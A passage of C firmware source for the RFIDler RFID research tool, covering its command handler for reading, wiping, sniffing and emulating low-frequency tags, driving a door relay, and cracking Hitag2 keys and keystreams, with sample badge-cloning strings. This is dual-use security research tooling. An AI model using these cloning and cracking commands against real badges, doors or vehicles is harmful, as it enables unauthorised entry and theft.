if(sscanf(command + 9, "%i", &tmpint) == 1)
{
if (debug_off((BYTE) tmpint))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Ivalid LED!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strcmp(command, "DETECT") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s", "Waiting for external clock (hit any key to abort)...\r\n");
detect_external_clock(NO_WAIT, 0);
eod();
}
if (strcmp(command, "DOOR CLOSE") == 0)
{
commandok= command_ack(NO_DATA);
DOOR_RELAY_CLOSE();
}
if (strcmp(command, "DOOR OPEN") == 0)
{
commandok= command_ack(NO_DATA);
DOOR_RELAY_OPEN();
}
if (strncmp(command, "DUMP ", 5) == 0)
{
if((tmpint2= sscanf(command + 5,"%u %u", &tmpint, &tmpint1)) && tmpint2 == 1 || tmpint2 == 2)
{
// only start block specified, so default to read 1 block
if(tmpint2 == 1)
tmpint1= tmpint;
if(tmpint > RFIDlerConfig.DataBlocks - 1 || tmpint1 > RFIDlerConfig.DataBlocks - 1)
commandok= command_nack("Invalid block number(s)!");
else
// read and view data
if(!read_tag(DataBuff, tmpint, tmpint1))
commandok= command_nack("Read failed!");
else
{
commandok= command_ack(DATA);
local_tmp[HEXDIGITS(RFIDlerConfig.BlockSize)]= '\0';
for(i= tmpint, p= 0 ; i <= tmpint1 ; ++i, ++p)
{
UserMessageNum("%d: ", i);
memcpy(local_tmp, DataBuff + p * HEXDIGITS(RFIDlerConfig.BlockSize), HEXDIGITS(RFIDlerConfig.BlockSize));
UserMessage("%s\r\n", local_tmp);
}
eod();
}
}
else
commandok= command_nack("Invalid block number(s)!\r\n");
}
if (strncmp(command, "EMU ", 4) == 0)
{
if(RFIDlerConfig.TagType)
{
if(emulate_tag(command + 4))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Failed!");
}
else
commandok= command_nack("Tag type not set!");
}
if(strcmp(command, "EMULATOR") == 0 || strcmp(command, "EMULATOR BG") == 0)
{
if(!RFIDlerVTag.TagType)
commandok= command_nack("Create valid VTAG first!");
else
{
// store current tag type
tmpc= RFIDlerConfig.TagType;
// emulation or native mode
if(RFIDlerVTag.EmulatedTagType != TAG_TYPE_NONE)
tag_set(RFIDlerVTag.EmulatedTagType);
else
tag_set(RFIDlerVTag.TagType);
if(!interpret_uid(DataBuff, RFIDlerVTag.UID, RFIDlerConfig.TagType))
commandok= command_nack("Invalid UID!");
else
{
commandok= command_ack(NO_DATA);
if(strcmp(command, "EMULATOR BG") == 0)
{
EMU_Background= TRUE;
emulate_tag(DataBuff);
}
else
{
while(!get_user_abort() && emulate_tag(DataBuff))
{
// some readers will not respond until TAG stops talking
Delay_us(250000);
mLED_Comms_Toggle();
}
// restore tag settings
tag_set(tmpc);
}
}
}
}
if (strncmp(command, "ENCODE ", 7) == 0)
{
if(RFIDlerConfig.TagType)
{
// allow empty tag type but not uid
local_tmp[0]= '\0';
local_tmp1[0]= '\0';
if(sscanf(command + 7, "%s %s", local_tmp, local_tmp1) <= 2 && strlen(local_tmp) != 0)
{
// output hex only
if(strlen(local_tmp1) == 0)
{
if(tag_uid_to_hex(TmpBuff, local_tmp, RFIDlerConfig.TagType))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", TmpBuff);
eod();
}
else
commandok= command_nack("Encode failed!");
}
// encode to VTAG
else
{
if(vtag_create_from_uid(local_tmp1, RFIDlerConfig.TagType, local_tmp))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("VTAG encode failed!");
}
}
}
else
commandok= command_nack("Tag type not set!");
}
if (strcmp(command, "EXAMPLES") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s", "RAW Emulation examples:\r\n");
UserMessage("%s", "\r\n EM4X02 ID '0000DC4420'\r\n\r\n");
UserMessage("%s", " SET MAN ON\r\n");
UserMessage("%s", " ASK FF800006F0949406 800 64 20\r\n");
UserMessage("%s", "\r\n Unique ID '0DEADBEEF0'\r\n\r\n");
UserMessage("%s", " SET MAN ON\r\n");
UserMessage("%s", " ASK FFDC0A7EEEF783C0 800 64 20\r\n");
UserMessage("%s", "\r\n HID Prox26 Site Code 123 ID 45678\r\n\r\n");
UserMessage("%s", " SET MAN OFF\r\n");
UserMessage("%s", " FSK 1D5559555569AA6A6965A6A6 800 50 8 10 20\r\n");
UserMessage("%s", "\r\n Indala (encrypted):\r\n\r\n");
UserMessage("%s", " SET MAN OFF\r\n");
UserMessage("%s", " PSK1 000000025AA9A2B074F113A4645E20B7A792B831DD3C58D27A727B2B 800 32 2 20\r\n");
UserMessage("%s", "\r\n\r\n TAG Emulation examples\r\n");
UserMessage("%s", "\r\n EM4X02 ID 'ABCDE12345'\r\n\r\n");
UserMessage("%s", " SET TAG EM4X02\r\n");
UserMessage("%s", " EMU ABCDE12345\r\n");
UserMessage("%s", "\r\n Unique ID '00CAFEF00D'\r\n\r\n");
UserMessage("%s", " SET TAG UNIQUE\r\n");
UserMessage("%s", " EMU 00CAFEF00D\r\n");
UserMessage("%s", "\r\n HID Prox26 Site Code 254 ID 00666\r\n\r\n");
UserMessage("%s", " SET TAG HID26\r\n");
UserMessage("%s", " EMU 25400666\r\n");
UserMessage("%s", "\r\n\r\n RWD command examples\r\n");
UserMessage("%s", " ====================\r\n");
UserMessage("%s", "\r\n Hitag2 START_AUTH\r\n\r\n");
UserMessage("%s", " PWM 800 4000 4000 18 26 5\r\n");
UserMessage("%s", " RWD 11000\r\n");
eod();
}
if (strncmp(command, "FSK ", 4) == 0)
{
if(sscanf(command + 4,"%s %ld %u %u %u %u", local_tmp, &tmplong, &tmpint, &tmpint1, &tmpint2, &tmpint3) == 6)
{
UserMessage("Sending %s ", local_tmp);
if(send_fsk_hex(local_tmp, tmplong, tmpint, tmpint1, tmpint2, tmpint3))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Send failed!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strcmp(command, "FREQUENCY") == 0)
{
commandok= command_ack(DATA);
UserMessageNum("%d\r\n", analogue_frequency());
eod();
}
if (strncmp(command, "HEXTOBIN ", 9) == 0)
{
commandok= command_ack(DATA);
printhexasbin(command + 9);
eod();
}
if (strncmp(command, "HITAG2-CRACK ", 13) == 0)
{
if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)
commandok = command_nack("TAG type must be HITAG2!");
else
{
if (hitag2_crack(DataBuff, command + 13))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("read error!");
}
}
if (strncmp(command, "HITAG2-KEYSTREAM ", 17) == 0)
{
if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)
commandok = command_nack("TAG type must be HITAG2!");
else
{
if (hitag2_keystream(DataBuff, command + 17))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("read error!");
}
}
if (strncmp(command, "HITAG2-READER", 13) == 0)
{
if (RFIDlerConfig.TagType != TAG_TYPE_HITAG2)
commandok = command_nack("TAG type must be HITAG2!");
else
{
// scan for HEX key and use default if not present
local_tmp[0]= '\0';
local_tmp1[0]= '\0';
tmpint= 1; // interactive TRUE
if(sscanf(command + 14, "%s %s", local_tmp, local_tmp1) < 2)
{
if(!strcmp("S", local_tmp))
{
strcpy(local_tmp, HITAG2_KEY_DEFAULT);
tmpint= 0;
}
}
if(!strcmp("S", local_tmp1))
tmpint= 0;
commandok= command_ack(DATA);
while(!get_user_abort())
{
hitag2_reader(DataBuff, local_tmp, (BOOL) tmpint);
mLED_Comms_Toggle();
}
eod();
stop_HW_clock();
}
}
if (strncmp(command, "HITAG2-CLEARSTOREDTAGS", 22) == 0)
{
commandok = command_ack(NO_DATA);
hitag2_nvm_clear();
}
if (strncmp(command, "HITAG2-COUNTSTOREDTAGS", 22) == 0)
{
commandok = command_ack(DATA);
hitag2_nvm_count_tags();
eod();
}
if (strncmp(command, "HITAG2-LISTSTOREDTAGS", 21) == 0)
{
commandok = command_ack(DATA);
if (strlen(command) > 21)
{
tmpint2= sscanf(command + 21,"%u %u", &tmpint, &tmpint1);
if (tmpint2 <= 0)
{
// no tag numbers specified, default to display all tags
tmpint = 0;
tmpint1 = 0;
}
else if (tmpint2 == 1)
{
// only start tag specified, default to display 1 tag
tmpint1 = tmpint;
}
} else
{
tmpint = 0;
tmpint1 = 0;
}
hitag2_nvm_display_tags(tmpint, tmpint1);
eod();
}
if (strncmp(command, "HITAG2-RNGINIT ", 15) == 0)
{
if (hitag2crack_rng_init(DataBuff, command + 15))
{
commandok = command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("read error!");
}
if (strncmp(command, "HITAG2-DECRYPTHEX ", 18) == 0)
{
if (hitag2crack_decrypt_hex(DataBuff, command + 18))
{
commandok = command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("read error!");
}
if (strncmp(command, "HITAG2-DECRYPTBIN ", 18) == 0)
{
if (hitag2crack_decrypt_bin(DataBuff, command + 18))
{
commandok = command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("read error!");
}
if (strncmp(command, "LED ", 4) == 0)
{
if(sscanf(command + 4, "%i", &tmpint) == 1)
{
if (led_toggle((BYTE) tmpint))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Invalid LED!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strncmp(command, "LEDON ", 6) == 0)
{
if(sscanf(command + 6, "%i", &tmpint) == 1)
{
if (led_on((BYTE) tmpint))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Invalid LED!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strncmp(command, "LEDOFF ", 7) == 0)
{
if(sscanf(command + 7, "%i", &tmpint) == 1)
{
if (led_off((BYTE) tmpint))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Ivalid LED!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strcmp(command, "LOAD") == 0)
{
commandok= command_ack(NO_DATA);
loadconfig();
}
if (strncmp(command, "LOGIN", 5) == 0)
{
// allow empty password / block
local_tmp[0]= '\0';
tmpint= 0;
if(sscanf(command + 5, " %s %u", local_tmp, &tmpint) > 2)
commandok= command_nack("Invalid parameters!");
else
{
if(tag_login(tmpint, DataBuff, local_tmp))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("Login failed!");
}
}
if (strcmp(command, "PING") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", "RFIDler");
eod();
}
if (strcmp(command, "POTS") == 0)
{
commandok= command_ack(DATA);
show_mcp414_wipers();
eod();
}
if (strncmp(command, "POTDEC ", 7) == 0)
{
if(sscanf(command + 7,"%c %d", &tmpc, &tmpint1) == 2 && tmpc == 'H' || tmpc == 'L')
{
while(tmpint1--)
if((tmpc= decrement_mcp414(tmpc == 'H' ? 0 : 1, local_tmp)))
break;
if(tmpc)
commandok= command_nack("POT decrement failed!");
else
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid parameters");
}
if (strncmp(command, "POTINC ", 7) == 0)
{
if(sscanf(command + 7,"%c %d", &tmpc, &tmpint1) == 2 && tmpc == 'H' || tmpc == 'L')
{
while(tmpint1--)
if((tmpc= increment_mcp414(tmpc == 'H' ? 0 : 1, FALSE, local_tmp)))
break;
if(tmpc)
commandok= command_nack("POT increment failed!");
else
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("invalid parameters");
}
if (strncmp(command, "POTSET ", 7) == 0)
{
if(sscanf(command + 7,"%c %d", &tmpc, &tmpint1) == 2 && tmpc == 'H' || tmpc == 'L')
{
if(!set_mcp414_wiper(tmpc == 'H' ? WIPER_HIGH : WIPER_LOW, VOLATILE, tmpint1, local_tmp))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("POT set failed!");
}
else
commandok= command_nack("Invalid parameter!");
}
if (strncmp(command, "POTSETNV ", 9) == 0)
{
if(sscanf(command + 9,"%c %d", &tmpc, &tmpint1) == 2 && tmpc == 'H' || tmpc == 'L')
{
if(!set_mcp414_wiper(tmpc == 'H' ? WIPER_HIGH : WIPER_LOW, NON_VOLATILE, tmpint1, local_tmp))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("POT set failed!");
}
else
commandok= command_nack("Invalid parameter!");
}
if (strncmp(command, "POTSETV ", 8) == 0)
{
if(sscanf(command + 8,"%c %lf", &tmpc, &tmpfloat) == 2 && tmpc == 'H' || tmpc == 'L')
{
tmpint1= (int) (tmpfloat / VOLTS_TO_POT);
if(!set_mcp414_wiper(tmpc == 'H' ? WIPER_HIGH : WIPER_LOW, VOLATILE, tmpint1, local_tmp))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("POT set failed!");
}
else
commandok= command_nack("Invalid parameter!");
}
if (strncmp(command, "PSK1 ", 5) == 0)
{
if(sscanf(command + 5,"%s %ld %u %u %u", local_tmp, &tmplong, &tmpint, &tmpint1, &tmpint2) == 5)
{
if(send_psk1_hex(local_tmp, tmplong, tmpint, tmpint1, tmpint2))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Send failed!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strncmp(command, "PWM ", 4) == 0)
{
if(sscanf(command + 4,"%u %u %u %u %u %u %u %u", &tmpint, &tmpint1, &tmpint2, &tmpint3, &tmpint4, &tmpint5, &tmpint6, &tmpint7) == 8)
{
rwd_set_pwm(tmpint, tmpint1, tmpint2, tmpint3, tmpint4, tmpint5, tmpint6, tmpint7);
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid parameters!");
}
if (strncmp(command, "READ ", 5) == 0)
{
if((tmpint2= sscanf(command + 5,"%u %u", &tmpint, &tmpint1)) && tmpint2 == 1 || tmpint2 == 2)
{
// only start block specified, so default to read 1 block
if(tmpint2 == 1)
tmpint1= tmpint;
if(RFIDlerConfig.TagType != RFIDlerVTag.TagType)
commandok= command_nack("VTag not compatible!");
else
{
if(tmpint > RFIDlerConfig.DataBlocks - 1 || tmpint1 > RFIDlerConfig.DataBlocks - 1)
commandok= command_nack("Invalid block number(s)!");
else
// read and view data
if(!read_tag(&RFIDlerVTag.Data[tmpint * HEXDIGITS(RFIDlerVTag.BlockSize)], tmpint, tmpint1))
commandok= command_nack("Read failed!");
else
{
commandok= command_ack(DATA);
local_tmp[HEXDIGITS(RFIDlerConfig.BlockSize)]= '\0';
for(i= tmpint ; i <= tmpint1 ; ++i)
{
UserMessageNum("%d: ", i);
memcpy(local_tmp, RFIDlerVTag.Data + i * HEXDIGITS(RFIDlerConfig.BlockSize), HEXDIGITS(RFIDlerConfig.BlockSize));
UserMessage("%s\r\n", local_tmp);
}
UserMessage("%s", "\r\n");
}
}
}
else
commandok= command_nack("Invalid block number(s)!\r\n");
}
if(strcmp(command, "READER") == 0)
{
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
commandok= command_nack("TAG type not set!");
else
{
commandok= command_ack(DATA);
while(!get_user_abort())
{
if(get_interpreted_tag_uid(DataBuff, RFIDlerConfig.TagType))
UserMessage("%s\r\n", DataBuff);
mLED_Comms_Toggle();
}
eod();
stop_HW_clock();
}
}
if (strcmp(command, "REBOOT") == 0)
{
commandok= command_ack(NO_DATA);
Delay_us(1000000);
SoftReset();
}
if (strcmp(command, "RTC") == 0)
{
commandok= command_ack(DATA);
RTC_time.l= RtccGetTime();
RTC_date.l= RtccGetDate();
// note time/data is in BCD
sprintf(TmpBuff, "%02x/%02x/%02x %02x:%02x:%02x", RTC_date.year, RTC_date.mon, RTC_date.mday, RTC_time.hour, RTC_time.min, RTC_time.sec);
UserMessage("%s\r\n", TmpBuff);
}
if (strncmp(command, "RWD ", 4) == 0)
{
if(sscanf(command + 4,"%s", local_tmp) == 1)
{
if(rwd_send(local_tmp, strlen(local_tmp), RESET, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Sleep_Period, RFIDlerConfig.RWD_Wake_Period, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, 0))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Failed! PWM parameters not set or invalid data!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strcmp(command, "SAVE") == 0)
{
if(saveconfig())
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Verify failed!");
}
if (strncmp(command, "SELECT", 6) == 0)
{
// allow empty UID
local_tmp[0]= '\0';
if(sscanf(command + 6, "%s", local_tmp, &tmpint) <= 1)
{
if(select_tag(DataBuff, local_tmp))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("Select failed!");
}
else
commandok= command_nack("Invalid parameters!");
}
if (strcmp(command, "SET BIPHASE OFF") == 0)
{
RFIDlerConfig.BiPhase= FALSE;
commandok= command_ack(NO_DATA);
}
if (strcmp(command, "SET BIPHASE ON") == 0)
{
RFIDlerConfig.BiPhase= TRUE;
RFIDlerConfig.Manchester= FALSE;
commandok= command_ack(NO_DATA);
}
if (strncmp(command, "SET BITS ", 9) == 0)
{
if(sscanf(command + 9,"%u", &tmpint) == 1)
{
RFIDlerConfig.DataBits= tmpint;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid data bits!");
}
if (strncmp(command, "SET FC ", 7) == 0)
{
if(sscanf(command + 7,"%ld", &tmplong) == 1)
{
RFIDlerConfig.FrameClock= tmplong;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid FC period!");
}
if (strcmp(command, "SET INVERT OFF") == 0)
{
RFIDlerConfig.Invert= FALSE;
commandok= command_ack(NO_DATA);
}
if (strcmp(command, "SET INVERT ON") == 0)
{
RFIDlerConfig.Invert= TRUE;
commandok= command_ack(NO_DATA);
}
if (strcmp(command, "SET MANCHESTER OFF") == 0)
{
RFIDlerConfig.Manchester= FALSE;
commandok= command_ack(NO_DATA);
}
if (strcmp(command, "SET MANCHESTER ON") == 0)
{
RFIDlerConfig.Manchester= TRUE;
RFIDlerConfig.BiPhase= FALSE;
commandok= command_ack(NO_DATA);
}
if (strncmp(command, "SET MOD ", 8) == 0)
{
if(strcmp(command + 8,"ASK") == 0)
{
RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;
commandok= command_ack(NO_DATA);
}
else if(strcmp(command + 8,"FSK") == 0)
{
RFIDlerConfig.Modulation= MOD_MODE_FSK1;
commandok= command_ack(NO_DATA);
}
else if(strcmp(command + 8,"PSK1") == 0)
{
RFIDlerConfig.Modulation= MOD_MODE_PSK1;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Unknown modulation scheme!");
}
if (strncmp(command, "SET PSK ", 8) == 0)
{
if(sscanf(command + 8,"%ld", &tmplong) == 1)
{
RFIDlerConfig.PSK_Quality= tmplong;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid data bits!");
}
if (strncmp(command, "SET RATE ", 9) == 0)
{
if(sscanf(command + 9,"%u", &tmpint) == 1)
{
RFIDlerConfig.DataRate= tmpint;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid data rate!");
}
if (strncmp(command, "SET REPEAT ", 11) == 0)
{
if(sscanf(command + 11,"%u", &tmpint) == 1)
{
RFIDlerConfig.Repeat= tmpint;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid repetitions!");
}
if (strncmp(command, "SET SUB0 ", 9) == 0)
{
if(sscanf(command + 9,"%u", &tmpint) == 1)
{
RFIDlerConfig.DataRateSub0= tmpint;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid data rate!");
}
if (strncmp(command, "SET SUB1 ", 9) == 0)
{
if(sscanf(command + 9,"%u", &tmpint) == 1)
{
RFIDlerConfig.DataRateSub1= tmpint;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid data rate!");
}
if (strncmp(command, "SET SYNCBITS ", 13) == 0)
{
if(sscanf(command + 13,"%u", &tmpint) == 1)
{
RFIDlerConfig.SyncBits= (unsigned char) tmpint;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid number of bits!");
}
else
if (strncmp(command, "SET SYNC", 8) == 0)
{
if(sscanf(command + 8,"%u %X", &tmpint, &tmpint1) == 2 && tmpint >= 0 && tmpint <= 3)
{
RFIDlerConfig.Sync[tmpint]= (unsigned char) tmpint1;
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Invalid sync byte!");
}
if (strncmp(command, "SET TAG ", 8) == 0)
{
if((tmpc= tag_get_type(command + 8)))
{
tag_set(tmpc);
commandok= command_ack(NO_DATA);
}
else
commandok= command_nack("Unknown TAG type!");
}
if (strncmp(command, "SET VTAG ", 9) == 0)
{
if(vtag_set_tag_type(command + 9))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Unknown TAG type!");
}
if(strcmp(command, "SNIFFER") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s", "Hit any key to stop sniffer\r\n");
SnifferMode= TRUE;
while(!get_user_abort())
if(get_interpreted_tag_uid(DataBuff, RFIDlerConfig.TagType))
UserMessage("%s\r\n", DataBuff);
eod();
stop_HW_clock();
SnifferMode= FALSE;
}
if (strncmp(command, "SNIFF-PWM C", 11) == 0)
{
hitag2_pwm_nvm_clear();
commandok= command_ack(NO_DATA);
} else if (strncmp(command, "SNIFF-PWM L", 11) == 0)
{
hitag2_pwm_display_nrars();
commandok= command_ack(NO_DATA);
eod();
} else if (strncmp(command, "SNIFF-PWM S", 11) == 0)
{
Sniffstore = 1;
sniff_pwm(12, 0, 100, 0);
commandok= command_ack(NO_DATA);
eod();
} else if (strncmp(command, "SNIFF-PWM", 9) == 0)
{
Sniffstore = 0;
tmpint= 0;
tmpint1= 0;
tmpint2= 0;
sscanf(command + 9, " %d %d %d", &tmpint, &tmpint1, &tmpint2);
commandok= command_ack(DATA);
UserMessage("%s", "Waiting for PWM (hit any key to abort/report)...\r\n");
// NFC_MODE applies if there is a message gap
sniff_pwm(tmpint, tmpint1, tmpint2, tmpint2 ? NFC_MODE : NO_NFC_MODE);
eod();
}
if (strcmp(command, "STOP") == 0)
{
commandok= command_ack(NO_DATA);
stop_HW_clock();
}
if (strcmp(command, "TAGS") == 0)
{
commandok= command_ack(DATA);
tag_list();
eod();
}
if(strcmp(command, "TCONFIG") == 0)
{
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
commandok= command_nack("Tag type not set!");
else
{
if(!config_block_number(&tmpint, RFIDlerConfig.TagType))
commandok= command_nack("Not supported for this tag type!");
else
{
if (get_config_block(local_tmp, RFIDlerConfig.TagType))
{
get_pw_block(local_tmp1, RFIDlerConfig.TagType);
get_info_block(local_tmp2, RFIDlerConfig.TagType);
commandok= command_ack(DATA);
config_block_show(local_tmp, local_tmp1, local_tmp2, RFIDlerConfig.TagType);
eod();
}
else
commandok= command_nack("Read failed!");
}
}
}
if (strcmp(command, "TEST-HITAG") == 0)
{
// exercise hitag crypto, init from serialnumber, key & IV & gen authenticator
unsigned long test;
commandok= command_ack(DATA);
UserMessage("%s", "\r\nbenchmark & verify Hitag 2 crypto implementation");
test = hitag2_verifytest();
UserMessage("\r\nCrypto self test of correctness = %s", test ? "Pass" : "FAIL");
test = hitag2_benchtest(1);
UserMessageNum("\r\nHitag 2 crypto, init + gen 32 bits - us: %ld", test);
test = hitag2_benchtest_gen32();
UserMessageNum("\r\nHitag 2 crypto, gen new 32 bits only - us: %ld", test);
test = hitag2_benchtest(1000);
UserMessageNum("\r\nHitag 2 crypto, init + gen 32 bits, x1000 - us: %ld\r\n", test);
eod();
}
if (strncmp(command, "TEST-RWD", 8) == 0)
{
commandok= command_ack(DATA);
// allow null key/pwd
local_tmp[0]= '\0';
sscanf(command + 8, "%s", local_tmp);
rwd_test(local_tmp);
eod();
}
if (strcmp(command, "TEST-SC") == 0)
{
if(SC_PowerOnATR())
{
commandok= command_ack(DATA);
UserMessage("%s", "ATR: ");
hexprintbinarray(scCardATR, scATRLength);
UserMessage("%s", "\r\n");
eod();
}
else
commandok= command_nack("Failed!");
}
if (strcmp(command, "TEST-SD") == 0)
{
// for automated test we don't want prompts or output - just pass/fail
if(sdcard_test((Interface == INTERFACE_API)))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Failed!");
}
if (strcmp(command, "TEST-TIMER") == 0)
{
commandok= command_ack(DATA);
clock_test();
eod();
}
if (strcmp(command, "TEST-WIEGAND") == 0)
{
wiegand_set_pullups(FALSE);
if(wiegand_test())
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Failed!");
}
if (strncmp(command, "TEST-WIEGAND-READ ", 18) == 0)
{
tmpint= 0;
if(sscanf(command + 18,"%d", &tmpint) <= 1 && tmpint >= 0 && tmpint <= 4)
{
commandok= command_ack(DATA);
if(! RFIDlerConfig.Wiegand_Pulse || ! RFIDlerConfig.Wiegand_Gap)
learn_wiegand((BYTE) tmpint);
else
read_wiegand((BYTE) tmpint);
UserMessage("Read: %s\r\n", DataBuff);
DataBuff[0]= '\0';
DataBuffCount= 0;
eod();
}
else
commandok= command_nack("Invalid debug pin!");
}
if (strncmp(command, "TRESET", 6) == 0)
{
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
commandok= command_nack("Tag type not set!");
else
{
if(!config_block_number(&tmpint, RFIDlerConfig.TagType))
commandok= command_nack("Not supported for this tag type!");
else
{
// allow empty password / block
local_tmp[0]= '\0';
sscanf(command + 6, " %s", local_tmp);
if (tag_write_default_config(RFIDlerConfig.TagType, local_tmp))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Write failed!");
}
}
}
if (strcmp(command, "TRISTATE OFF") == 0)
{
commandok= command_ack(NO_DATA);
READER_CLOCK_ENABLE_OFF(LOW);
}
if (strcmp(command, "TRISTATE ON") == 0)
{
commandok= command_ack(NO_DATA);
READER_CLOCK_ENABLE_ON();
}
if (strncmp(command, "TWIPE", 5) == 0)
{
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
commandok= command_nack("Tag type not set!");
else
{
// allow empty password / block
local_tmp[0]= '\0';
sscanf(command + 5, " %s", local_tmp);
if (tag_write_default_blocks(RFIDlerConfig.TagType, local_tmp))
commandok= command_ack(NO_DATA);
else
commandok= command_nack("Write failed!");
}
}
if (strcmp(command, "UID") == 0)
{
if(RFIDlerConfig.TagType == TAG_TYPE_NONE)
commandok= command_nack("Set TAG type first!");
else
{
if(get_interpreted_tag_uid(DataBuff, RFIDlerConfig.TagType))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", DataBuff);
eod();
}
else
commandok= command_nack("read error!");
}
}
// version number is generated by pre-processor macro counting number of commits to git repo
// VERSION=`git rev-list HEAD --count`
// hardware revision is defined in
if (strcmp(command, "VERSION") == 0)
{
commandok= command_ack(DATA);
#ifdef RFIDLER_DEBUG
UserMessageNum("%04d-beta (debug)\r\n", VERSION);
#else
UserMessageNum("%04d-beta\r\n", VERSION);
#endif
eod();
}
if (strcmp(command, "VTAG") == 0)
{
commandok= command_ack(DATA);
vtag_dump();
eod();
}
if (strncmp(command, "VWRITE ", 7) == 0)
{
if(sscanf(command + 7,"%u %s", &tmpint, local_tmp) == 2)
{
if(vtag_write_blocks(tmpint, local_tmp))
{
commandok= command_ack(DATA);
UserMessage("%s\r\n", local_tmp);
eod();
}
else
commandok= command_nack("VTAG write failed!");
}
else
commandok= command_nack("Invalid block number or no data!");
}
// pinouts
if (strcmp(command, "WIRING") == 0 || strcmp(command, "WIRES") == 0 || strcmp(command, "PINS") == 0)
{
commandok= command_ack(DATA);
UserMessage("%s", " === WIRING: PIC32 PIC32MX795F512L ===\r\n");
UserMessage("%s", " PIN NUMBER / NAME FUNCTION USE\r\n");
UserMessage("%s", " =====================================================\r\n");
UserMessage("%s", " 13 _MCLR RESET_BUTTON Reset / VPP\r\n");
UserMessage("%s", " 59 RA2 IC Frequency IN Measure Inductance/Capacitance\r\n");
UserMessage("%s", " 60 RA4 OR-IN-A Output from Schmitt trigger A\r\n");
UserMessage("%s", " 61 RA5 OR-IN-B Output from Schmitt trigger B\r\n");
UserMessage("%s", " 67 RA15 LED6 User LED White\r\n");
UserMessage("%s", " 66 RA14 RELAY Door Relay\r\n");
UserMessage("%s", " 26 RB6/PGC PGC Program Clock\r\n");
UserMessage("%s", " 27 RB7/PGD2 PGD2 Program Data 2\r\n");
UserMessage("%s", " 33 RB9 S/C VCC ISO-7816 Smartcard VCC\r\n");
UserMessage("%s", " 35 RB11/AN11 Analogue IN Reader analogue data\r\n");
UserMessage("%s", " 41 RB12/AN12 Analogue LOW IN Voltage divider LOW analogue data\r\n");
UserMessage("%s", " 42 RB13/AN13 Analogue HIGH IN Voltage divider HIGH analogue data\r\n");
UserMessage("%s", " 06 RC1 DEBUG1 Logic Analyser Debug Pin 1\r\n");
UserMessage("%s", " 07 RC2 DEBUG2 Logic Analyser Debug Pin 2\r\n");
UserMessage("%s", " 08 RC3 DEBUG3 Logic Analyser Debug Pin 3\r\n");
UserMessage("%s", " 09 RC4/SDI1 SD_CARD_RX SPI RX for SD Card\r\n");
UserMessage("%s", " 72 RD0/SDO1 SD_CARD_TX SPI TX for SD Card\r\n");
UserMessage("%s", " 76 RD1 S/C CLK ISO-7816 Smartcard Clock\r\n");
UserMessage("%s", " 77 RD2 WIEGAND_1_OUT Wiegand 1 / Clock & Data - Clock OUT\r\n");
UserMessage("%s", " 78 RD3 WIEGAND_0_OUT Wiegand 0 / Clock & Data - Data OUT\r\n");
UserMessage("%s", " 81 RD4 READER-CLOCK Reader COIL CLOCK\r\n");
UserMessage("%s", " 82 RD5 WIEGAND_0_IN Wiegand 0 / Clock & Data - Data IN\r\n");
